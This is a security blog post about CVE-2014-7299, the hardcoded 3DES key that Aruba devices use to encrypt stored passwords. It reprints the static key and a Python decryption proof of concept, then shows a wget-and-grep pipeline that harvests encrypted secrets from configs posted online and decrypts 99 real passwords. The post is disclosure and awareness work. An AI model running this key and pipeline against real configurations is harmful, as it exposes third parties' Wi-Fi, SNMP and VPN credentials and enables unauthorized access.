UPDATE: I actually received a very nice email from an Aruba Security Architect regarding this post. They are actively engaged in making their products more secure and addressing these issues. Could not ask for a better response from a vendor. Kudos.

Intro

On a recent wireless assessment we ran across Aruba infrastructure. Since Sven Blumenstein, from Google Security Team, recently published 26 vulnerabilities for Aruba OS, Airwave Management Platform, and Aruba Instant I was eager to start the vulnerability analysis phase to see if our targets were still vulnerable to his findings. The entire write-up is really nicely done, and shows a full range of vulnerabilities in Aruba products, but I want to focus on #26 because I believe the impact is far worse than it appears. Finding #26 references CVE-2014-7299 which describes storage of Aruba password hashes as “encrypted password hashes”. You can read the details on the original disclosure, but in short passwords displayed in the Aruba config files are not hashed- they are encrypted with 3DES in CBC mode. If you were to enter the show running-config command you might see something like this:

mgmt-user admin f9ac59cd431e174fb07539a8a811a1aa

This is all well and good unless, of course, a malicious actor had the decryption key. Quoting straight from the disclosure:

The encryption algorithm uses a 24 byte static key which is hardcoded on the AP. Sampling of different Firmware versions confirmed that the key is identical for all available versions. The IV required for 3DES consists of 8 random bytes, and is stored as the first 8 byte of the encrypted password.

Going one step further a Proof-of-Concept (PoC) decryption script is included in the write-up to make it easy to recover encrypted passwords.

import pyDes hashes = ( 'f9ac59cd431e174fb07539a8a811a1aa', # admin 'd7a75c655b8e2fb8609d0b04275e02767f2dfae8c63088cf' # adminadmin ) key = ( '\x32\x74\x10\x84\x91\x17\x75\x46\x14\x75\x82\x92' '\x43\x49\x04\x59\x18\x69\x15\x94\x27\x84\x30\x03' ) for h in hashes: d = pyDes.triple_des(key, pyDes.CBC, h.decode('hex')[:8], pad='\00') print h, '=>', d.decrypt(h.decode('hex')[8:])

Ok, so encrypting passwords (vs. hashing) is, unfortunately, a fairly common practice. The Adobe breach in 2013 revealed similar findings, but in that case the decryption key was never revealed publicly. In response to this disclosure Aruba issued an advisory that, well, sort of acknowledged the issue, but down played the impact. Below are a few partial quotes from the advisory:

…All passwords in an IAP configuration file are stored using reversible encryption…The configuration file should never be exposed to an attacker…Aruba does not consider this a vulnerability, but the behavior does not follow industry best practices for security and defense-in-depth…

This is an interesting response when you consider the following Google search

Clicking on one of these links from the Aruba Support forum takes me to a config file that someone has uploaded, I’m presuming, in conjunction with a support question. Going one step further, if I narrow the scope down to just arubanetworks.com we get 107 results alone! At least one of these configs has been posted in the last month (Jul 27, 2016) so I’m assuming this issue hasn’t been brought up with Aruba customers.

So lets review what we know so far- configuration files posted publicly on the Internet, and contain credentials, can now be easily decrypted. Just great.

Further, it’s not just the mgmt-user setting that can be decrypted either. With just a cursory look I identified a number of stored passwords that can be extracted from Aruba config files.

wpa-passphrase <hash> key <hash> mgmt-user <uname> <level> <hash> ip pppoe-password <hash> ike authentication PRE-SHARE <hash> arm-rf-domain-key "<hash>" user <uname> <hash> <junk> Airwave Shared Key:<hash> Master Key:<hash> localip <ip> ipsec <hash> ams-key <hash> ams-identity <hash> snmp-server community <hash> opendns <domain> <hash>

The Harvest

With just a little bit of scripting one can easily start harvesting these credentials. First you’ll need to gather all the links to the config files posted online. I’m going to leave this step as an exercise for the reader. I used PowerShell, but feel free to use you’re favorite technique. (As a side note, Google is a fun sparing partner when it comes to parsing search results.)

The next step is to download all the configs. A simple Bash 1-liner will take care of that part.

for i in $(cat aruba_links.txt); do wget $i --timeout 10 --tries 2; done

Next we need to extract the hashes. There are many ways to do this, but I chose to use grep as a simple parser. The downside is that it’s not a very clean technique, and I ended up with a lot of junk in the results file. Rather than spend too much time on this I just clean-up the results manually by removing non-hashes by hand. If I were to build a general purpose tool I’d get more fancy with this step by maybe using ciscocongparse to get more accurate results.

#!/bin/bash outfile="config_hashes.txt" config_file=configs/*.txt grep -o 'wpa-passphrase.*' $config_file | cut -d " " -f 2 >> $outfile grep -o 'key .*' $config_file | cut -d " " -f 2 >> $outfile grep -o 'mgmt-user.*' $config_file | cut -d " " -f 3 >> $outfile grep -o 'mgmt-user.*' $config_file | cut -d " " -f 4 >> $outfile grep -o 'ip pppoe-password.*' $config_file | cut -d " " -f 3 >> $outfile grep -o 'ike authentication PRE-SHARE. *' $config_file | cut -d " " -f 4 >> $outfile grep -o 'ike authentication PRE-SHARE .*' $config_file | cut -d " " -f 5 >> $outfile grep -o 'arm-rf-domain-key.*' $config_file | cut -d " " -f 2 | tr -d '"' >> $outfile grep -o 'user.*' $config_file | cut -d " " -f 3 >> $outfile grep -o 'user.*' $config_file | cut -d " " -f 4 >> $outfile grep -o 'Airwave Shared.*' $config_file | cut -d ":" -f 3 >> $outfile grep -o 'Master Key.*' $config_file | cut -d ":" -f 3 >> $outfile grep -o 'localip.*' $config_file | cut -d " " -f 4 >> $outfile grep -o 'ams-key.*' $config_file | cut -d " " -f 2 >> $outfile grep -o 'ams-key.*' $config_file | cut -d " " -f 4 >> $outfile grep -o 'ams-identity.*' $config_file | cut -d " " -f 2 >> $outfile grep -o 'ams-identity.*' $config_file | cut -d " " -f 4 >> $outfile grep -o 'snmp-server community.*' $config_file | cut -d " " -f 3 >> $outfile grep -o 'snmp-server community.*' $config_file | cut -d " " -f 5 >> $outfile grep -o 'opendns.*' $config_file | cut -d " " -f 3 >> $outfile grep -o 'enable secret.*' $config_file | cut -d " " -f 3 >> $outfile grep -o 'enable secret.*' $config_file | cut -d " " -f 4 >> $outfile grep -o 'enable secret.*' $config_file | cut -d " " -f 5 >> $outfile grep -o 'wepkey1.*' $config_file | cut -d " " -f 2 >> $outfile

Decrypting

Now that we have a file full of hashes we can use the PoC Python code to recover some of the passwords. In this case I was able decrypt 99 passwords and another 62 hashes were filtered out. The filtered hashes are MD5 or other formats not recoverable with the Python script used here.

Just from the results above we can see the usual offenders like 1234qwer, aruba123, and other easily recoverable passwords. After removing the duplicates and running statsgen we ended up 86 passwords, and all in less time it took to drink a cup of coffee.

For those that are interested below is the full output from statsgen.

statsGen 0.0.3 | | _ __ __ _ ___| | _ | '_ \ / _` |/ __| |/ / | |_) | (_| | (__| < | .__/ \__,_|\___|_|\_\ | | |_| iphelix@thesprawl.org [*] Analyzing passwords in [../recovered.txt] [+] Analyzing 100% (86/86) of passwords NOTE: Statistics below is relative to the number of analyzed passwords, not total number of passwords [*] Length: [+] 8: 27% (24) [+] 10: 19% (17) [+] 9: 12% (11) [+] 5: 10% (9) [+] 11: 09% (8) [+] 6: 05% (5) [+] 13: 04% (4) [+] 12: 03% (3) [+] 26: 02% (2) [+] 7: 01% (1) [+] 17: 01% (1) [+] 19: 01% (1) [*] Character-set: [+] loweralphanum: 32% (28) [+] loweralpha: 26% (23) [+] all: 24% (21) [+] numeric: 03% (3) [+] mixedalphanum: 03% (3) [+] loweralphaspecialnum: 03% (3) [+] upperalphanum: 02% (2) [+] loweralphaspecial: 02% (2) [+] mixedalphaspecial: 01% (1) [*] Password complexity: [+] digit: min(0) max(14) [+] lower: min(0) max(12) [+] upper: min(0) max(5) [+] special: min(0) max(4) [*] Simple Masks: [+] othermask: 31% (27) [+] string: 26% (23) [+] stringdigit: 19% (17) [+] digitstring: 05% (5) [+] stringspecialdigit: 04% (4) [+] stringdigitspecial: 04% (4) [+] stringdigitstring: 03% (3) [+] digit: 03% (3) [*] Advanced Masks: [+] ?l?l?l?l?l: 10% (9) [+] ?l?l?l?l?l?l?l?l: 09% (8) [+] ?l?l?l?l?l?l?l?d: 05% (5) [+] ?l?u?s?l?d?l?d?l?s?s: 04% (4) [+] ?l?l?l?l?l?d?d?d?d: 04% (4) [+] ?u?l?l?l?l?d?d?d?s: 04% (4) [+] ?d?d?d?d?l?l?l?l: 03% (3) [+] ?l?l?l?l?l?l: 03% (3) [+] ?l?d?l?d?l?d?d?d?d?d?d: 03% (3) [+] ?l?l?l?l?l?l?d?d?d: 03% (3) [+] ?u?l?d?l?u?l?d?u?u?d: 03% (3) [+] ?l?l?l?l?d?l?l?l?l?l: 02% (2) [+] ?u?s?l?l?l?d?l?l: 02% (2) [+] ?l?l?l?l?l?s?l?l?l?l?s?l?l: 02% (2) [+] ?l?l?l?l?l?l?d?d?d?d?d?d?d?l?l?l?l?l?l?d?d?d?d?d?d?d: 02% (2) [+] ?u?l?u?l?s?s?s?s?l?l?d?d: 02% (2) [+] ?d?d?d?d?d?d?d?d: 02% (2) [+] ?l?l?l?l?l?l?l?l?l?l: 02% (2) [+] ?d?d?d?l?l?l?l?l?l?l: 02% (2) [+] ?u?l?s?u?l?u?s?d?d?l?l?l?d: 02% (2) [+] ?u?d?l?l?u?s?l?l?l?l?l: 02% (2) [+] ?l?l?l?s?d?d?d?d: 02% (2) [+] ?u?d?d?d?d?d: 02% (2) [+] ?l?l?l?l?l?l?l?d?d?d: 02% (2) [+] ?u?d?l?u?l?d?s?l?s?l?l: 02% (2) [+] ?u?s?l?l?d?l?l?u?s?l?l?l?l?l?l?d?d?d?d: 01% (1) [+] ?d?d?d?d?d?d?d?d?d?d: 01% (1) [+] ?l?l?l?l?d?l?l?l?l?l?l: 01% (1) [+] ?u?l?l?l?l?l?s?d: 01% (1) [+] ?u?d?l?d?u?l?s?u?l?s: 01% (1) [+] ?l?l?l?l?l?l?l: 01% (1) [+] ?l?l?u?s?l?u?l?l?u?s?u?l?l?l?s?l?u: 01% (1) [+] ?l?l?l?l?l?d?d?d: 01% (1) [+] ?l?l?l?l?l?l?l?l?l?s?d?d: 01% (1)

Conclusion

Posting configs online is not anything new, but overall this is very frustrating for me as a security professional. I spend a lot of time making recommendations for securing systems, but no amount of configuring or fancy equipment can protect you if you’re posting your passwords online. I’m sure some of you are saying, “but they were encrypted..how was I suppose to know?”. Which brings me to my main point – assume breach, assume compromise, assume your awesome passwords will be cracked. And stop making it easy by posting your configs on a publicly accessible site! When used correctly encryption is the foundation of a secure Internet, but it’s not cyber pixie dust that magically protects you from everything bad online. If you’ve ever posted a config online go and change those passwords now; otherwise you are at risk.